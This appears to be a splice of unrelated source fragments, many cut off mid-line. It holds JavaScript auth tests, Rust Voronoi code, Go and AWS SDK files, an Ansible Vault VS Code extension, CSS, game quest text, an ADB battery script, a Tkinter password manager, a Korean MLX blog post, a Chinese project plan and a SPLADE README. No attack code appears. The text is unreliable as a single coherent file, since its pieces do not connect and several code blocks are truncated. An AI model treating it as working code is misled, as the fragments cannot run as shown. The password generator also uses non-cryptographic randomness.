 with undefined if unauthorized", async () => {
				window.fetch = fetchMock.sandbox().getOnce(basePath, 401);

				await expect(authAPI.getCurrentAuth())
					.resolves.toEqual(undefined);
			});

			it("resolves to auth response", async () => {
				window.fetch = fetchMock.sandbox().getOnce(basePath, authResponse);

				await expect(authAPI.getCurrentAuth())
					.resolves.toEqual(authResponse);
			});
		});

		describe("changePassword", () => {
			it("calls fetch with proper arguments", async () => {
				const mock = fetchMock.sandbox().patchOnce(basePath, {});
				window.fetch = mock;

				await authAPI.changePassword(token, password, newPassword);

				const init = mock.lastCall()[1];
				// tslint:disable-next-line:no-string-literal
				expect((init.headers as Record<string, string>)["Authorization"]).toEqual(`Bearer ${token}`);
				expect(JSON.parse(init.body as string)).toEqual(changePasswordBody);
			});

			it("rejects with bad request", async () => {
				window.fetch = fetchMock.sandbox().patchOnce(basePath, 400);

				await expect(authAPI.changePassword(token, password, newPassword))
					.rejects.toEqual(badRequest);
			});

			it("rejests with incorrect password", async () => {
				window.fetch = fetchMock.sandbox().patchOnce(basePath, 401);

				await expect(authAPI.changePassword(token, password, newPassword))
					.rejects.toEqual(incorrectPassword);
			});

			it("resolves to auth response", async () => {
				window.fetch = fetchMock.sandbox().patchOnce(basePath, authResponse);

				await expect(authAPI.changePassword(token, password, newPassword))
					.resolves.toEqual(authResponse);
			});
		});

		describe("changeUsername", () => {
			it("calls fetch with proper arguments", async () => {
				const mock = fetchMock.sandbox().patchOnce(basePath, {});
				window.fetch = mock;

				await authAPI.changeUsername(token, password, newUsername);

				const init = mock.lastCall()[1];
				// tslint:disable-next-line:no-string-literal
				expect((init.headers as Record<string, string>)["Authorization"]).toEqual(`Bearer ${token}`);
				expect(JSON.parse(init.body as string)).toEqual(changeUsernameBody);
			});

			it("rejects with bad request", async () => {
				window.fetch = fetchMock.sandbox().patchOnce(basePath, 400);

				await expect(authAPI.changeUsername(token, password, newUsername))
					.rejects.toEqual(badRequest);
			});

			it("rejests with incorrect password", async () => {
				window.fetch = fetchMock.sandbox().patchOnce(basePath, 401);

				await expect(authAPI.changeUsername(token, password, newUsername))
					.rejects.toEqual(incorrectPassword);
			});

			it("resolves to auth response", async () => {
				window.fetch = fetchMock.sandbox().patchOnce(basePath, authResponse);

				await expect(authAPI.changeUsername(token, password, newUsername))
					.resolves.toEqual(authResponse);
			});
		});

		describe("logout", () => {
			it("calls fetch with proper arguments", async () => {
				const mock = fetchMock.sandbox().getOnce(basePath + "/logout", 204);
				window.fetch = mock;

				await authAPI.logout();

				const init = mock.lastCall()[1];
				expect(init.credentials).toEqual("same-origin");
			});

			it(


          Ok(Rc::clone(edge))
        } else {
            Err(BvError::IdError(format!(
                "The edge with id:{} does not exist",
                edge_id.0
            )))
        }
    }

    /// Return the edge represented as an straight line
    /// if the edge does not exists or if it lacks v0 or v1; None will be returned.
    /// TODO: this looks like an into() candidate
    pub(crate) fn edge_as_line_(&self, edge: Option<EdgeIndex>) -> Option<[F; 4]> {
        let v0 = self.vertex_get_(self.edge_get_vertex0_(edge));
        let v1 = self.vertex_get_(self._edge_get_vertex1(edge));
        if let Some(v0) = v0 {
            if let Some(v1) = v1 {
                let v0 = v0.get();
                let v1 = v1.get();
                return Some([v0.x(), v0.y(), v1.x(), v1.y()]);
            }
        }
        None
    }

    /// Return the edge represented as an straight line
    /// if the edge does not exists or if it lacks v0 or v1; None will be returned.
    #[inline]
    pub fn edge_as_line(&self, edge_id: EdgeIndex) -> Result<[F; 4], BvError> {
        self.edge_as_line_(Some(edge_id)).ok_or_else(|| {
            BvError::IdError(format!(
                "Edge id:{} (probably) does not exists, or some vertex is missing",
                edge_id.0
            ))
        })
    }

    /// Iterates over all edges, colors each edge as exterior if it has an unbroken primary edge
    /// link connection to an infinite edge.
    pub fn color_exterior_edges(&self, external_color: ColorType) {
        for it in self.edges().iter() {
            let edge_id = Some(it.get().id());
            if !self.edge_is_finite_(edge_id).unwrap() {
                self.recurse_color_exterior(edge_id, external_color);
            }
        }
    }

    /// Mark all edges connected to an 'infinite' edge via primary edges as 'external'
    /// You should only call this on edges that you know are infinite. i.e. lacks one or two vertexes
    fn recurse_color_exterior(&self, edge_id: Option<EdgeIndex>, external_color: ColorType) {
        if edge_id.is_none() || (self.edge_get_color_(edge_id).unwrap() & external_color) != 0 {
            // This edge has already been colored, break recursion
            return;
        }
        // Color edge as EXTERNAL
        self.edge_or_color_(edge_id, external_color);

        let v1 = self._edge_get_vertex1(edge_id);
        if self.edge_get_vertex0_(edge_id).is_some() && v1.is_none() {
            // this edge leads to nowhere, break recursion
            return;
        }
        // Color twin edge as EXTERNAL
        self.edge_or_color_(self.edge_get_twin_(edge_id), external_color);
        if v1.is_none()
            || self.vertex_is_site_point_(v1).unwrap_or(true)
            || !self
                .get_edge_(edge_id)
                .map_or(false, |x| x.get().is_primary())
        {
            // stop recursion if this edge does not have a vertex1 (e.g is infinite)
            // or if this edge isn't a primary edge.
            return;
        }
        self.vertex_set_color_(v1, external_color


gomock.NewController(t)
			defer ctrl.Finish()

			m := &deployDiffMocks{
				mockDeployedTmplGetter: mocks.NewMockdeployedTemplateGetter(ctrl),
			}
			tc.setUpMocks(m)
			deployer := workloadDeployer{
				name: "mockSvc",
				app: &config.Application{
					Name: "mockApp",
				},
				env: &config.Environment{
					Name: "mockEnv",
				},
				tmplGetter: m.mockDeployedTmplGetter,
			}
			got, gotErr := deployer.DeployDiff(tc.inTemplate)
			if tc.checkErr != nil {
				tc.checkErr(t, gotErr)
			} else {
				require.NoError(t, gotErr)
				require.Equal(t, tc.wanted, got)
			}
		})
	}
}
// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT.

package managedblockchainquery

import (
	"github.com/aws/aws-sdk-go/aws"
	"github.com/aws/aws-sdk-go/aws/client"
	"github.com/aws/aws-sdk-go/aws/client/metadata"
	"github.com/aws/aws-sdk-go/aws/request"
	"github.com/aws/aws-sdk-go/aws/signer/v4"
	"github.com/aws/aws-sdk-go/private/protocol"
	"github.com/aws/aws-sdk-go/private/protocol/restjson"
)

// ManagedBlockchainQuery provides the API operation methods for making requests to
// Amazon Managed Blockchain Query. See this package's package overview docs
// for details on the service.
//
// ManagedBlockchainQuery methods are safe to use concurrently. It is not safe to
// modify mutate any of the struct's properties though.
type ManagedBlockchainQuery struct {
	*client.Client
}

// Used for custom client initialization logic
var initClient func(*client.Client)

// Used for custom request initialization logic
var initRequest func(*request.Request)

// Service information constants
const (
	ServiceName = "ManagedBlockchain Query" // Name of service.
	EndpointsID = "managedblockchain-query" // ID to lookup a service endpoint with.
	ServiceID   = "ManagedBlockchain Query" // ServiceID is a unique identifier of a specific service.
)

// New creates a new instance of the ManagedBlockchainQuery client with a session.
// If additional configuration is needed for the client instance use the optional
// aws.Config parameter to add your extra config.
//
// Example:
//
//	mySession := session.Must(session.NewSession())
//
//	// Create a ManagedBlockchainQuery client from just a session.
//	svc := managedblockchainquery.New(mySession)
//
//	// Create a ManagedBlockchainQuery client with additional configuration
//	svc := managedblockchainquery.New(mySession, aws.NewConfig().WithRegion("us-west-2"))
func New(p client.ConfigProvider, cfgs ...*aws.Config) *ManagedBlockchainQuery {
	c := p.ClientConfig(EndpointsID, cfgs...)
	if c.SigningNameDerived || len(c.SigningName) == 0 {
		c.SigningName = "managedblockchain-query"
	}
	return newClient(*c.Config, c.Handlers, c.PartitionID, c.Endpoint, c.SigningRegion, c.SigningName, c.ResolvedRegion)
}

// newClient creates, initializes and returns a new service client instance.
func newClient(cfg aws.Config, handlers request.Handlers, partitionID, endpoint, signingRegion, signingName, resolvedRegion string) *ManagedBlockchainQuery {


 arguments "${args.join(' ')}"`)
  return exec('ansible-vault', args).catch((error) => {
    throw new VaultyError(
      `Decryption failed`,
      `Vaulty found an Ansible configuration file

${configuration.configurationFile.fsPath}

which points to the password file

${configuration.passwordFile.fsPath}

but decryption failed. This is the error message from \`ansible-vault\`:

${error.message}`
    )
  })
}

const commentedText = (text: string) => {
  return text
    .split('\n')
    .map((line) => '# ' + line)
    .join('\n')
}

export async function openVault(progress: Progress<{ message: string }>, vaultFile: Uri): Promise<string> {
  progress.report({ message: 'Searching for Vault configuration...' })
  try {
    const configuration = await findAnsibleConfiguration(vaultFile)
    if (configuration == null) {
      throw new VaultyError(
        'No Vault configuration found',
        `Vaulty tried to find \`ansible.cfg\` with \`vault_password_file=...\` defined in
- the same directory as "${basename(vaultFile.fsPath)}"
- its parent directories in the VS Code workspace
- in the home directory (${getHomeDirectoryConfigurationFilePath()})

but could not find a valid configuration.`
      )
    }
    progress.report({ message: 'Found Vault configuration, decrypting...' })
    return await decryptVault(vaultFile, configuration)
  } catch (error) {
    console.error(error)
    window.showErrorMessage(error.message)
    const additionalInfo = error instanceof VaultyError ? '\n\n' + error.additionalInfo : ''
    return commentedText(`ERROR: ${error.message}${additionalInfo}`)
  }
}
jest.mock("./CharacterManagerClass");
import { CharacterManagerClass } from "./CharacterManagerClass";

import { CharacterManagerFacade } from "./CharacterManagerFacade";

describe ("char managger facade", ()=> {
  it("must receive a list of names and return a list of nodes and vertices", () => {
    const mockManager = new CharacterManagerClass();
    mockManager.GenerateNodes = jest.fn(() => [{
      id: 1, label: "Joyce"
    }, {
      id: 2, label: "Sarah"
    }, {
      id: 3, label: "Dorothy"
    }]);
    mockManager.GenerateEdges = jest.fn(() =>  [
      { from: 2, to: 1, value: 1 },
      { from: 3, to: 1, value: 2 },
      { from: 3, to: 2, value: 1 },
    ]);

    const facade = new CharacterManagerFacade(mockManager);

    const charList = ["Joyce", "Sarah", "Dorothy"];
    facade.TryAddCharacterPage(charList);

    const expected = {
      nodes: [{
        id: 1,
        label: "Joyce"
      },{
        id: 2,
        label: "Sarah"
      }, {
        id: 3,
        label: "Dorothy"
      }],
      edges: [
        { from: 2, to: 1, value: 1 },
        { from: 3, to: 1, value: 2 },
        { from: 3, to: 2, value: 1 },
      ]
    };
    expect(facade.GenerateNodesAndEdges()).toEqual(expected);
  });

  it("must receive 2 lists of differents names and return a list of nodes and vertices", () => {
    const mockManager = new CharacterManagerClass();
    const GenerateNodesMock = jest.fn()
      .mockReturnValueOnce([{
          id: 1, label: "Walky"
        }, {
          id: 2, label: "Danny"
        }, {
          id: 3, label: "Sal"
        }])
      .mockReturnValue([{
          id: 1, label: "Walky"
        }, {
          id: 2, label: "Danny"
        }, {
          id: 3, label: "Sal"
        }, {
          id: 4, label: "Joe"
        }, {
          id: 3,


1, 0x72)]
class WpdSerializer;}
DEFINE_GUID!{CLSID_PortableDeviceValues,
    0x0c15d503, 0xd017, 0x47ce, 0x90, 0x16, 0x7b, 0x3f, 0x97, 0x87, 0x21, 0xcc}
RIDL!{#[uuid(0x0c15d503, 0xd017, 0x47ce, 0x90, 0x16, 0x7b, 0x3f, 0x97, 0x87, 0x21, 0xcc)]
class PortableDeviceValues;}
DEFINE_GUID!{CLSID_PortableDeviceKeyCollection,
    0xde2d022d, 0x2480, 0x43be, 0x97, 0xf0, 0xd1, 0xfa, 0x2c, 0xf9, 0x8f, 0x4f}
RIDL!{#[uuid(0xde2d022d, 0x2480, 0x43be, 0x97, 0xf0, 0xd1, 0xfa, 0x2c, 0xf9, 0x8f, 0x4f)]
class PortableDeviceKeyCollection;}
DEFINE_GUID!{CLSID_PortableDevicePropVariantCollection,
    0x08a99e2f, 0x6d6d, 0x4b80, 0xaf, 0x5a, 0xba, 0xf2, 0xbc, 0xbe, 0x4c, 0xb9}
RIDL!{#[uuid(0x08a99e2f, 0x6d6d, 0x4b80, 0xaf, 0x5a, 0xba, 0xf2, 0xbc, 0xbe, 0x4c, 0xb9)]
class PortableDevicePropVariantCollection;}
DEFINE_GUID!{CLSID_PortableDeviceValuesCollection,
    0x3882134d, 0x14cf, 0x4220, 0x9c, 0xb4, 0x43, 0x5f, 0x86, 0xd8, 0x3f, 0x60}
RIDL!{#[uuid(0x3882134d, 0x14cf, 0x4220, 0x9c, 0xb4, 0x43, 0x5f, 0x86, 0xd8, 0x3f, 0x60)]
class PortableDeviceValuesCollection;}
<filename>src/state/error.rs
use std::error::Error;
use std::fmt::Display;
use std::fmt::Formatter;
use std::fmt::Result as FmtResult;

pub type StateResult<T> = Result<T, StateError>;

#[derive(Debug)]
pub struct StateError {
    message: String,
}

impl StateError {
    pub fn new(message: &str) -> StateError {
        StateError {
            message: message.into(),
        }
    }
}

impl Error for StateError {}

impl Display for StateError {
    fn fmt(&self, f: &mut Formatter) -> FmtResult {
        write!(f, "{}", self.message)
    }
}
mod display_message;
mod set_respawn_timer;
mod update_score;

pub use self::display_message::DisplayMessage;
pub use self::set_respawn_timer::SetRespawnTimer;
pub use self::update_score::UpdateScore;
pub trait Allocator {}

pub trait AllocClone {}
pub trait AllocDrop {}

pub(crate) trait Borrow {
    type Ref<'a>
    where
        Self: 'a;
    type Mut<'a>
    where
        Self: 'a;

    fn as_ref<A: Allocator>(&self, alloc: &A) -> Self::Ref<'_>;
    fn as_mut<A: Allocator>(&mut self, alloc: &A) -> Self::Mut<'_>;
}

impl<T: Copy> Borrow for T {
    type Ref<'a> = &'a Self;
    type Mut<'a> = &'a mut Self;

    fn as_ref<A: Allocator>(&self, alloc: &A) -> Self::Ref<'_> {
        self
    }

    fn as_mut<


}

.glide .no-visible
{
	visibility: hidden;
}

.glide .white-icon
{
	display: none;
}

.glide .white-logo
{
	display: none;
}

/*------------------------------------------------------------------
> Responsive
------------------------------------------------------------------*/

/*-------------------------------------------------
>> Responsive queries
-------------------------------------------------*/

@media only screen and (min-width: 1200px) and (max-width: 1365px)
{
	.trial-right-col
	{
		margin-right: 0;
	}

	.glide .trial-right-col.download-banner-content
	{
		max-width: 500px;
	}
}

@media only screen and (min-width: 1024px) and (max-width: 1199px)
{
	.trial-right-col
	{
		max-width: 415px;
		margin-right: 0;
	}

	.glide .close-btn
	{
		right: 15px;
	}

	.glide .single-feature
	{
		padding: 0 2rem;
	}

	.glide .partner-box
	{
		padding-bottom: 0;
	}

	.glide .trial-right-col.download-banner-content
	{
		max-width: 410px;
	}

	.glide .form-desc
	{
		margin-top: 3rem;
	}

	.glide .features-list ul li
	{
		font-size: 16px;
	}

	.glide .features-list ul li:before
	{
		top: 3px;
	}

	.glide .single-partner
	{
		padding: 3rem;
	}

	.glide .partners-isotope.partner-lists .element-item
	{
		width: 22.2%;
	}

	.glide .pkg-detail ul li
	{
		font-size: 14px;
	}

	.glide .single-table
	{
		padding: 2.5rem 1.5rem 2.7rem 1.5rem;
	}

	.glide .resources-detail-area
	{
		padding: 0 3rem;
	}

	.glide .resources-content h2
	{
		font-size: 3.6rem;
	}

	.glide .resources-content h4
	{
		font-size: 20px;
	}

	.glide .resources-sidebar
	{
		width: 27%;
		padding: 7rem 0 0 22px;
	}

	.glide .resources-content
	{
		width: 73%;
		padding: 6rem 5rem 5rem 0;
	}

	.glide .right-header
	{
		width: 680px;
	}

	.glide .main-menu
	{
		width: 385px;
	}

	.glide .main-menu ul li
	{
		margin: 0 10px 0 0;
		float: none;
		display: inline-block;
	}

	.glide .main-menu ul li a
	{
		font-size: 16px;
	}

	.glide .footer-left-widget
	{
		width: 28%;
		margin-right: 4%;
	}

	.glide .footer-widgets
	{
		width: 68%;
	}

	.glide .footer-widget
	{
		width: 21.8%;
		margin: 0 2% 3rem 0;
	}

	.glide .content
	{
		min-height: 190px;
	}
}

@media only screen and (min-width: 768px) and (max-width: 1023px)
{


forte do Monte Hyjal secretam poderosos venenos, que, se deixados para amadurecer, endurecem, transformando-se em um denso cristal antimagia. Esses cristais ficaram conhecidos como Lágrimas dos Hederine.$B$BNem mesmo o imenso poder de um Demonarca poderia quebrar as paredes de uma prisão construída com esse material.$B$BVá até a Garganta do Sussurro Sombrio em Hibérnia e recupere as Lágrimas.",
    ["O"] = "Vá à Garganta do Sussurro Sombrio em Hibérnia e recupere 5 Lágrimas dos Hederine dos demônios Hederine que ocupam o lugar. Fale novamente com Daio no Rasgo Infecto quando você tiver completado esta tarefa.",
    ["T"] = "O revestimento da prisão",
  },
  [7583] = {
    ["D"] = "The prison is ready. Now for the most difficult portion of this task.$B$BYou must find and capture a Doomguard Commander within the Tainted Scar using this crystal prison.$B$BBe warned! A Doomguard is a cunning and lethal adversary and will seek to destroy you as you begin the ritual of imprisonment. It will flail wildly in its attempts to escape imprisonment.$B$BIt will focus on nothing but you, $N. Because of this, I must recommend that you take companions capable of keeping you alive!",
    ["O"] = "Venture forth into the Tainted Scar and locate a Doomguard Commander.$B$BUse the Glowing Crystal Prison on the Doomguard Commander. Be prepared for a ferocious onslaught of attacks, as the demon attempts to escape capture.$B$BShould you succeed, return the Imprisoned Doomguard to Daio in the Tainted Scar.",
    ["T"] = "Suppression",
  },
  [7601] = {
    ["D"] = "Se quiser que eu lhe ensine o segredo da evocação de um serviçal infernal, você terá de destruir Kroshius e retirar o núcleo infernal de seus restos incandescentes. Não será tão fácil quanto parece, pois Kroshius já se exauriu quase por completo. Você terá de reacender o corpo dele, reerguendo-o dos escombros. Para isso, no entanto, será preciso reunir alguns componentes de outras entidades demoníacas.$B$BMeu Diabretim lhe indicará o caminho.",
    ["O"] = "Fale com Diabretim na Selva Maleva.",
    ["T"] = "O que Niby ordena",
  },
  [7602] = {
    ["D"] = "Se você pretende reanimar Kroshius, vai precisar de fogo Vil. Posso fazer fogo Vil, mas vou precisar de alguns componentes.$B$BMe traga essências vis impecáveis de três regiões distintas do mundo.$B$BOs sátiros Legashi, de Azshara, têm o primeiro tipo de essência, os legionários de Jaedenar, o segundo, e as sentinelas guardas vis da Barreira do Inferno, o terceiro.$B$BTraga-me uma essência de cada tipo e criarei o fogo Vil. Então você poderá reanimar Kroshius.",
    ["O"] = "Leve três Essências Vis Impecáveis, originárias de três locais distintos, para Diabretim na Selva Maleva.$B$BOs Sátiros Legashi de Azshara possuem a Essência Vil Impecável da região deles, assim como os Legionários de Jaedenar e as Sentinelas Guardas Vis da Barreira do Inferno.$B$BBusque as Essências Vis Impecáveis e leve-as para Diabretim, na


lements javax.servlet.ServletContextListener)

org.sword.wechat4j.token.TokenProxy
org.sword.wechat4j.user.UserManager
org.sword.wechat4j.common.ValidateSignature
org.sword.wechat4j.response.VideoResponse
org.sword.wechat4j.response.VoiceResponse
org.sword.wechat4j.param.WechatParamName
org.sword.wechat4j.request.WechatRequest
org.sword.wechat4j.response.WechatResponse
org.sword.wechat4j.WechatSupport

接口分层结构

org.sword.wechat4j.token.server.IServer
org.sword.wechat4j.token.server.TicketServer
org.sword.wechat4j.token.server.TokenServer

枚举分层结构

java.lang.Object

java.lang.Enum<E> (implements java.lang.<A HREF


from num2words import num2words
import re

from api import app
from data.constants import PROJECT_DIR

from utils import run_stdout, notify

def __is_device_charging__():
    """Check if the device is charging based on dumpsys battery output."""
    output = run_stdout('adb', 'shell', 'dumpsys', 'battery')

    ac_powered = re.search(r'AC powered:\s*(\w+)', output)
    usb_powered = re.search(r'USB powered:\s*(\w+)', output)
    wireless_powered = re.search(r'Wireless powered:\s*(\w+)', output)

    if (ac_powered and ac_powered.group(1) == 'true') or \
            (usb_powered and usb_powered.group(1) == 'true') or \
            (wireless_powered and wireless_powered.group(1) == 'true'):
        return True
    return False

def battery_check(**kwargs):
    charging = __is_device_charging__()
    battery = int(run_stdout("adb shell dumpsys battery | grep level | awk '{print $2}'", shell=True).strip())
    phone_model = run_stdout("adb", "shell", "getprop", "ro.product.manufacturer") + " " + run_stdout("adb", "shell",
                                                                                "getprop",
                                                                                "ro.product.marketname").upper()

    suggestion = ""
    description = "Phone's battery percentage",

    if battery <= 10:
        suggestion = "Immediately connect device to the charger"
        description = f"🪫Really low, charge immediately"
    elif 10 < battery <= 20:
        suggestion = "I really recommend you connect your device to the charger"
        description = "🪫Low, plug it in"
    elif 20 < battery <= 50:
        suggestion = "It will last for a few hours at least"
        description = "🔋Moderate charge"
    elif 50 < battery:
        suggestion = "Your device is charged enough"
        description = "🔋Enough charge"

    suggestion = "It is currently charging" if charging else suggestion
    description = "⚡ Charging" if charging else description

    app.say(f"Your phone's battery is at {num2words(battery)} percent. {suggestion}, sir")

    notify(
        f"{phone_model}: {battery}%",
        description,
        60
    )

def connect_adb():
    run(f"./scripts/bash/connect_adb.sh", ADB_DEVICE_IP, "5555")
    log.debug(f"Connected to {ADB_DEVICE_IP} via adb")

def check_adb():
    connection = run_stdout(f"./scripts/bash/check_adb.sh", ADB_DEVICE_IP)
    if connection == "true":
        return
    else:
        connect_adb()

app.add_func_for_search(battery_check)

if app.lang == "en":  # TODO MAKE COMMANDS LANGUAGE DEPENDENT
    app.manager.add(
        app.Command(
            [
                "phone", "battery"
            ],
            "battery_check",
            equivalents=[
                        ["phone", "charge"],
            ],
            tts=True
        )
    )


 def limpiar_campos(self):
        self.entry_url.delete(0, tk.END)
        self.entry_usuario.delete(0, tk.END)
        self.entry_clave.delete(0, tk.END)
        self.entry_nota.delete(0, tk.END)
    def generar_contraseña(self):
        longitud = 12
        caracteres = string.ascii_letters + string.digits + string.punctuation
        contraseña_generada = ''.join(random.choice(caracteres) for i in range(longitud))
        self.entry_clave.delete(0, tk.END)
        self.entry_clave.insert(0, contraseña_generada)
    def encriptar(self, texto_plano):
        texto_encriptado = self.cipher_suite.encrypt(texto_plano.encode())
        return texto_encriptado.decode()
    def desencriptar(self, texto_encriptado):
        texto_plano = self.cipher_suite.decrypt(texto_encriptado.encode())
        return texto_plano.decode()

if __name__=='__main__':
    app = Aplicacion(tk.Tk())
    encriptado = app.encriptar("Hola")
    print(encriptado)
    desencriptado = app.desencriptar(encriptado)
    print(desencriptado)


.showWindow(this._lock, "错误：" + data.msg);
            }
            else
            {
                this._callBack(data.data, this._params);
            }
        }
        catch (e)
        {
            egret.gui.Alert.show("程序崩溃：" + e.message);
            egret.gui.Alert.show("程序崩溃：" + jsonStr);
            //ViewManager.instance.showPanel(new MessagePanel("程序崩溃：" + jsonStr), true, true);
        }
    }

}import { spawn } from "child_process";
import { redBright, greenBright } from "chalk";
import { resolve } from "path";
import { mkdirSync, writeFileSync, existsSync } from "fs";
import { fetchGitProjects } from "../fetch/fetch";

export function clone(url: string, path: string): Promise<boolean> {
  return new Promise<boolean>((resolve, reject) => {
    if (!existsSync(path)) {
      mkdirSync(path, { recursive: true });
    }
    const p = spawn(`git`, ["clone", url, path], { cwd: path });

    p.stdout.on("data", data => {
      console.log(`git clone ${url} \n${data}`);
    });
    p.stderr.on("data", data => {
      console.log(`git clone ${url} \n${data}`);
    });
    p.on("close", code => {
      if (code !== 0) {
        console.error(redBright(`clone ${url}时出错，错误码为: ${code}`));
        resolve(false);
      } else {
        resolve(true);
      }
    });
  });
}

export async function cloneAll(pars: { gitlabUrl: string; workPath: string; fetchProjectsUrl: string }) {
  const { gitlabUrl, workPath, fetchProjectsUrl } = pars;
  let successCount = 0;
  let errorCount = 0;

  const projectList = await fetchGitProjects(fetchProjectsUrl);

  for (let i = 0; i < projectList.length; i++) {
    const item = projectList[i].path;
    const url = `${gitlabUrl}/${item}`;
    const path = resolve(workPath, item.replace(/\.git$/, ""));
    if (await clone(url, path)) {
      successCount++;
    } else {
      errorCount++;
    }
  }

  if (successCount > 0 && errorCount === 0) {
    console.log(greenBright(`全部成功，共：${projectList.length}`));
  } else {
    console.log(redBright(`成功：${successCount}，失败：${errorCount}，共：${projectList.length}`));
  }

  writeFileSync(resolve(workPath, "config.json"), JSON.stringify(projectList, null, 2));
}
import firebase from "firebase/app";
import "firebase/auth";
import "firebase/firestore";

export interface Grade {
  id: string;
  tmdb_id: string;
  name: string;
  rate: number;
  haveSeen: boolean;
  rated: boolean;
}

export interface Movie {
  id: string;
  tmdb_id: string;
  name: string;
}

const shuffle = (array: any[]) => {
  for (let i = array.length - 1; i > 0; i--) {
    let j = Math.floor(Math.random() * (i + 1));
    [array[i], array[j]] = [array[j], array[i]];
  }
};

const getData = async (
  db: firebase.firestore.Firestore,
  collection: string,
  doc: string
) => {
  const doc_ref = await db.collection(collection).doc(doc).get();
  if (!doc_ref.exists) {
    return null;
  }


최적화되어 있다는 점입니다.
이후 업데이트를 지속하면서 Pytorch, TensorFlow가 가지고 있는  머신러닝 모델 학습을 위한 기능들이 추가되었습니다.
그리고 마침내 Swift도 지원하게 업데이트되면서 Swift언어만을 활용해 머신러닝 연구를 진행할 수 있게 되었습니다.

## 주요 기능
+ Tensor 연산 (NDArray)
+ 자동 미분
+ Optimizer (SGD, Adam 등)
+ Layer 정의 (Linear 등)
+ GPU 가속 (M 시리즈)
+ Lazy evaluation
+ 모델 학습 / 추론
+ LLM / Diffusion 예제

이런 게 있다고 하는데요. 너무 어렵습니다.
그냥 주요 기능은 기존 Python 생태계에서의 머신러닝 프레임워크(Pytorch, TensorFlow)와 거의 유사하다고만 이해했습니다.

#### 주목할만한 기능
Apple ML LAB에서는 머신러닝 모델 플랫폼 Hugging Face에 여러 종류의 모델들을 꾸준히 업로드하고 있는데요.
MLX에는 이 모델을 허깅페이스 URL쿼리만을 통해 프로젝트에 바로 불러오는 기능이 있습니다.
이 기능은 MLX 오픈소스 예제에도 탑재되어있고, 최근 세간에 큰 주목을 받은 FastVLM 프로젝트에도 탑재되어 있습니다.

#### 있을 법한데 없는 기능
MLX로 학습한 모델을 CoreML모델로 변환하는 기능이 없습니다.
Apple 생태계 디바이스에서 효율적인 모델 활용을 위해선, ML모델을 CoreML모델로 변환하며 해주는 최적화가 반드시 필요한데요. 이 과정이 공식적으로 지원되지 않아 쉽지 않다고 합니다.

*MLX는 실험용이라고 선긋느라 일부러 지원하지 않는 다는 소리가 있긴 하던데, 솔직히 나중가면 다 지원해줄 것 같긴합니다.
배포용 앱을 위한 온디바이스 모델은 기존 Python 생태계에서 모델을 생성 후 변환하고 있다고 합니다.

## 코드 예시
#### 1. 배열, 수치 연산
```
import MLX               // 배열
import MLXRandom         // 난수

let a = MLXRandom.randn([3, 3])
let b: MLX = 2
let z = (a + b).relu()           // 연산은 파이프라인처럼 체인
print(z.mean().item(Float.self


ELK Stack
- **CI/CD**: GitHub Actions, Jenkins, GitLab CI

#### 前端技术
- **Web界面**: React, Vue.js, Streamlit, Gradio
- **移动端**: React Native, Flutter
- **桌面应用**: Electron, Tauri
- **可视化**: D3.js, ECharts, Plotly

### 📊 性能目标

#### 数据处理性能
- **处理能力**: 支持千万级消息数据处理
- **响应时间**: 实时查询 < 100ms，批量处理 < 1小时
- **并发支持**: 支持100+用户同时使用
- **存储效率**: 数据压缩率 > 80%

#### 模型性能
- **个性化程度**: 语言风格相似度 > 90%
- **对话质量**: 用户满意度 > 85%
- **响应速度**: 平均响应时间 < 2秒
- **准确性**: 事实准确率 > 95%

## 💼 商业化路径

### 🎯 目标市场
- **个人用户**: 数字遗产保存、虚拟陪伴
- **企业客户**: 客服机器人、培训助手
- **教育机构**: 个性化教学、学习伴侣
- **娱乐产业**: 游戏NPC、虚拟偶像

### 💰 盈利模式
- **SaaS服务**: 按使用量付费的云端服务
- **私有部署**: 企业级私有化部署方案
- **API接口**: 开发者生态和API调用费用
- **定制开发**: 特定行业的定制化解决方案

## 🤝 开源社区建设

### 👥 社区发展策略
- **核心开源**: 保持核心功能的开源性质
- **插件生态**: 鼓励第三方插件开发
- **文档完善**: 建设完整的开发者文档
- **活动推广**: 定期举办技术分享和黑客松

### 🏆 里程碑奖励
- **贡献者激励**: 设立贡献者奖励机制
- **优秀项目**: 评选和推广优秀衍生项目
- **技术认证**: 提供技术认证和培训体系
- **商业合作**: 与贡献者共享商业机会

## ⚠ 风险与挑战

### 🔒 技术风险
- **数据隐私**: 个人敏感数据的安全保护
- **模型偏见**: 避免训练数据中的偏见放大
- **技术债务**: 快速迭代中的代码质量控制
- **性能瓶颈**: 大规模部署的性能优化

### 📋 合规风险
- **隐私法规**: GDPR、个人信息保护法等合规
- **AI伦理**: 负责任的AI开发和使用
- **知识产权


 ###################################
  - train/config: splade
  - train/data: msmarco
  - train/model: splade
  ############## INDEX ###################################
  - index: msmarco
  ############## RETRIEVE ################################
  - retrieve_evaluate: all

# Direct PARAMETER setting
config: # to be provided for each run
  checkpoint_dir: ???
  index_dir: ???
  out_dir: ???
  fp16: false
```

To tell the code to use this config file, either modify ```CONFIG_NAME``` to ```config_splade```
in [conf/CONFIG_CHOICE.py](./CONFIG_CHOICE.py) to use it instead of ```config_default.yaml```

**or**

equivalently, define and use an environment variable: ```SPLADE_CONFIG_NAME=config_splade python -m src.train```

It is also possible to re-use a config saved from a previous experiment; in this case provide its full
path: ```SPLADE_CONFIG_FULLPATH=/path/to/my/exp/config_splade.yaml python -m src.train```

__Option 2__: provide command line arguments for everything that changes from default or desired config, specifying
files or parameters to change:

```python -m src.train config.checkpoint_dir=<MY_RES_DIR> train/data=msmarco train/model=splade init_dict.model_type_or_dir='bert-base-uncased' ...```

### Note on naming in hydra

TLDR: for overriding a parameter, use the parameter _package naming_, for overriding a package, use the _package path_

#### Overriding a parameter

If you are overriding a `parameter` from the command line you should name is using its `package position`. For example,
overriding `model_type_or_dir`: this parameter is defined in [train/config/splade.yaml](train/config/splade.yaml), and
the content of this file is:

```
# @package _global_

init_dict:
  model_type_or_dir: distilbert-base-uncased
  model_type_or_dir_q: null
  freeze_d_model: 0
  agg: max
  fp16: true

config:
  tokenizer_type: distilbert-base-uncased
```

Therefore, the parameter is referred to with `init_dict.model_type_or_dir=...`

```
python -m src.train init_dict.model_type_or_dir=<CHOICE_FOR_MODEL>
```

if the header in [train/config/splade.yaml](train/config/splade.yaml) was `# @package awesome_package` the command would
thus be:

```
python -m src.train awesome_package.init_dict.model_type_or_dir=<CHOICE_FOR_MODEL>
```

#### Overriding a package

Override a package by referring to its path:

```
python -m src.train train/data=msmarco
```

### Index, retrieve

same thing with ```src.index```, ```src.retrieve```.
# SIGIR23_Two_MSMARCO

